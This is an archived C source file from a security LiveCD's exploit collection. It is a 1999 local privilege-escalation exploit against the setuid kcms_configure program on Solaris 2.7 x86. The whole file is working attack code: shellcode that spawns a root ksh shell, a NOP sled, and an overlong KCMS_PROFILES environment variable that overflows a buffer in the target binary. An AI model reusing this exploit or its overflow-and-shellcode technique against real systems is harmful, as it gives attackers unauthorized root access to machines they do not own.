home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / local / kcssunwiosolf.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  80 lines

  1. /*## copyright LAST STAGE OF DELIRIUM dec 1999 poland        *://lsd-pl.net/ #*/
  2. /*## kcsSUNWIOsolf.so                                                        #*/
  3.  
  4. #define NOPNUM 16000
  5. #define ADRNUM 2900
  6.  
  7. char setuidshellcode[]=
  8.     "\x33\xc0"             /* xorl    %eax,%eax              */
  9.     "\xeb\x08"             /* jmp     <setuidshellcode+12>   */
  10.     "\x5f"                 /* popl    %edi                   */
  11.     "\x47"                 /* incl    %edi                   */
  12.     "\xab"                 /* stosl   %eax,%es:(%edi)        */
  13.     "\x88\x47\x01"         /* movb    %al,0x1(%edi)          */
  14.     "\xeb\x0d"             /* jmp     <setuidshellcode+25>   */
  15.     "\xe8\xf3\xff\xff\xff" /* call    <setuidshellcode+4>    */
  16.     "\x9a\xff\xff\xff\xff"
  17.     "\x07\xff"
  18.     "\xc3"                 /* ret                            */
  19.     "\x33\xc0"             /* xorl    %eax,%eax              */
  20.     "\x50"                 /* pushl   %eax                   */
  21.     "\xb0\x17"             /* movb    $0x17,%al              */
  22.     "\xe8\xee\xff\xff\xff" /* call    <setuidshellcode+17>   */
  23.     "\xeb\x16"             /* jmp     <setuidshellcode+59>   */
  24.     "\x33\xd2"             /* xorl    %edx,%edx              */
  25.     "\x58"                 /* popl    %eax                   */
  26.     "\x8d\x78\x14"         /* leal    0x14(%eax),edi         */
  27.     "\x52"                 /* pushl   %edx                   */
  28.     "\x57"                 /* pushl   %edi                   */
  29.     "\x50"                 /* pushl   %eax                   */
  30.     "\xab"                 /* stosl   %eax,%es:(%edi)        */
  31.     "\x92"                 /* xchgl   %eax,%edx              */
  32.     "\xab"                 /* stosl   %eax,%es:(%edi)        */
  33.     "\x88\x42\x08"         /* movb    %al,0x7(%edx)          */
  34.     "\xb0\x3b"             /* movb    $0x3b,%al              */
  35.     "\xe8\xd6\xff\xff\xff" /* call    <setuidshellcode+17>   */
  36.     "\xe8\xe5\xff\xff\xff" /* call    <setuidshellcode+37>   */
  37.     "/bin/ksh"
  38. ;
  39.  
  40. char jump[]=
  41.     "\x8b\xc4"             /* movl    %esp,%eax              */
  42.     "\xc3"                 /* ret                            */
  43. ;
  44.  
  45. main(int argc,char **argv){
  46.     char buffer[20000],*b,adr[4],*envp[4],display[128];
  47.     int i;
  48.  
  49.     printf("copyright LAST STAGE OF DELIRIUM dec 1999 poland  //lsd-pl.net/\n");
  50.     printf("kcsSUNWIOsolf.so for solaris 2.7 (2.6,2.8 ?) x86\n\n");
  51.  
  52.     if(argc!=2){
  53.         printf("usage: %s xserver:display\n",argv[0]);
  54.         exit(-1);
  55.     }
  56.  
  57.     *((unsigned int*)adr)=((*(unsigned int(*)())jump)())+2300+8000;
  58.  
  59.     sprintf(display,"DISPLAY=%s",argv[1]);
  60.     envp[0]=&buffer[0];
  61.     envp[1]=&buffer[17000];
  62.     envp[2]=display;
  63.     envp[3]=0;
  64.  
  65.     b=buffer;
  66.     sprintf(b,"xxx=");
  67.     b+=4;
  68.     for(i=0;i<NOPNUM;i++) *b++=0x90;
  69.     for(i=0;i<strlen(setuidshellcode);i++) *b++=setuidshellcode[i];
  70.     *b=0;
  71.  
  72.     b=&buffer[17000];
  73.     sprintf(b,"KCMS_PROFILES=");
  74.     b+=14;
  75.     for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
  76.     *b=0;
  77.  
  78.     execle("/usr/openwin/bin/kcms_configure","lsd","-o","lsd",0,envp);
  79. }
  80. /*                www.hack.co.za           [15 April 2001]*/